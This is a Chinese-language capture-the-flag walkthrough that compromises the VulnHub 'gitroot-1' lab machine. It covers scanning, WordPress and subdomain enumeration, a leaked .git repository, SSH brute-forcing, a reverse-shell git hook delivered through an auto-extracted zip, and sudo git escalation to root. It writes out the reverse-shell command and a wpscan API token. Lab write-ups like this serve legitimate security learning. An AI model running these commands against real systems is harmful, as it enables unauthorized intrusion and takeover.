靶机下载地址: https://www.vulnhub.com/entry/gitroot-1,488/
教程链接地址 1: https://www.hackingarticles.in/gitroot-1-vulnhub-walkthrough/
教程链接地址 2: https://h0j3n.medium.com/vulnhub-gitroot-1-d1ea5de3d10a
# 确认攻击目标
攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 WARZONE3:桥接于 192.168.0.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq
靶机开启之前和开启之后各扫一次,得到靶机 ip 192.168.0.187

2 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息
sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.187 --min-rate=5000

检索到的有效服务如下所示:
22 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 http:可对 web 进行渗透测试收集信息
11211 memcache:未知端口
# 网站信息收集
打开 http://192.168.0.187/ 进行 http 信息收集

提示我们有一个域名需要检查一下,将这个子域名以及它的上一级域名的 DNS 解析地址进行修改

再次查看子域名,发现是一个 wordpress 站点

而域名处还是原来的界面

对 wordpress 站点进行扫描扫描,获取其存在的用户名
wpscan -e u --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc --url http://wp.gitroot.vuln/

找到一个用户名 beth

顺便爆破一下这个用户名的密码,但是没有结果
wpscan --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc -U beth -P /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://wp.gitroot.vuln/

进行目录扫描,看看有没有敏感的站点
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list- 2.3-medium.txt -u http://wp.gitroot.vuln/

# 子域名扫描
都点开看了一下发现没有什么敏感的文件,既然这个站下有 wp.gitroot.vuln 这个子域名,会不会有其他的子域名,尝试一波扫描子域名
gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://wp.gitroot.vuln/ -o subdomain.txt

扫描到了子域名 repo.gitroot.vuln,将其添加到本地 hosts 文件中

打开 http://repo.gitroot.vuln/ 进行信息收集

提示有 set.php 页面和 get.php 页面

按提示设置个 key 和 value 的值看看

但是好像没有什么用,get.php 文件显示不出来有价值的信息

下一步就扫扫目录,看有没有什么新发现
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list- 2.3-medium.txt -u http://repo.gitroot.vuln/

所有的目录都打开看了看,发现没有什么有价值的信息

换个字典在扫一波,这次用 common.txt 这个字典
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/dirb/wordlists/common.txt -u http://repo.gitroot.vuln/

多得到了一个文件,为 http://repo.gitroot.vuln/.git/HEAD
访问之后显示没有权限去查看,但是确定文件是真实存在的

并且可以访问得到这个文件

# git-dumper 使用
对于 /.git/HEAD 文件泄漏,可以使用 git-dumper 工具,在 github 上下载

python3 git_dumper.py http://repo.gitroot.vuln/ ./repo_gitroot
用此工具将源码给下载到本地的 repo_gitroot 文件夹中

看了看这几个文件,有一个文件显示了几个疑似用户名

有一个文件提示说去看看其他的 git 仓库

# git 切换历史仓库
一个一个的 git show,在一个仓库中找到了如下的代码
git show ce3843e497dd28f992250d36ee1b4e8c9e0f18e9

或者用 git reset --hard 来切换 git 的仓库信息
git reset --hard b069fdde4cf12980175c3fbd79316fe42b57e19a

-> 得到了一组用户和密码 pablo:ihjedpvqfe
但是这个用户和密码是来不到这台服务器的

# hydra 爆破 ssh
看来只有自己设置用户名字典来爆破了,先尝试自己输入一些在收集信息过程中看到的疑似密码的字典

1 | 用自定义的密码爆破没有结果,就用rockyou.txt字典来爆破 |


需要爆破很长时间才能爆破出来,目前还没有找到更快的爆破的方法
# sshpass 连接靶机
第一次登陆点击确认连接,之后就可以用 sshpass 来登陆
sshpass -p mastergitar ssh pablo@192.168.0.187

# 服务器信息收集
之前在 git 不同的版本上找过过一个密码,看一看服务器有哪些用户,试试之前哪个密码是不是这几个用户的密码,依次尝试 jen beth root,发现 ihjedpvqfe 不是个密码

用户文件下提示需要检查一个新的 git 仓库

既然有新的 git 仓库,肯定有个.git 文件,直接 find 全局搜索

进到这个文件夹下,依次使用 git show 查看不同的本地仓库的改变

没有什么新发现,在看看这个文件夹下有没有什么敏感文件
居然发现了一个非常奇怪的文件,有这么多前缀相同的,肯定有什么问题

排序查看有什么情况 ls -Alh | sort -k4 | tail -n5
看到 dev-43 与众不同,查看其内容之后有一些 git 的提交信息

查看到第三条日志中是增加了一些信息,用 git show 查看一下增加的信息
git show 06fbefc1da56b8d552cfa299924097ba1213dd93

得到了一个密码,用这个密码成功拿到了 beth 用户的权限

在用户目录下看到了一个提示文件

只需要将 zip 文件放在~jen/public/repos/ 下,就会将它自动解压到 jen 仓库,看来是 jen 用户的一个定期执行任务的脚本

# linux 使用 7z
测试了一下,服务器上没有 unzip 命令,但是有 7z 命令,构造下列 Linux 命令
cd /tmp;git init;echo -e ‘#!/bin/bash \nbash -i >& /dev/tcp/192.168.0.168/4444 0>&1’ > /tmp/.git/hooks/post-commit;chmod 777 /tmp/.git/hooks/post-commit;7z a /tmp/shell.zip/tmp/.git;cp /tmp/shell.zip/home/jen/public/repos/

这个复合的 linux 命令的作用就是将反弹 shell 的脚本打印到一个新的 git 仓库的 hooks/post-commit 中,并且赋予可执行权限,在用 7z 进行压缩为 zip,最后在将其复制到 jen 用户下的 repos 中。
监听 shell 等待 jen 用户的 shell 反弹出来,接收到之后标准化 tty

到处看一看文件,都翻阅一下看看有敏感信息没有

# .viminfo 信息泄漏
发现 viminfo 中有一个 binzpbeocnexoe,可能是个密码

su root 尝试了一下,是失败的,它不是 root 的密码,继续试一下,发现它就是用户 jen 的密
# sudo (git) 提权
这样子就可以用来看 jen 的权限设置,看是否有什么问题,找到了 jen 用户可以直接调用 root 的 git 命令执行

1 | 在gtfobins上找到了提权方法 |

-> 成功拿到了 root 的 shell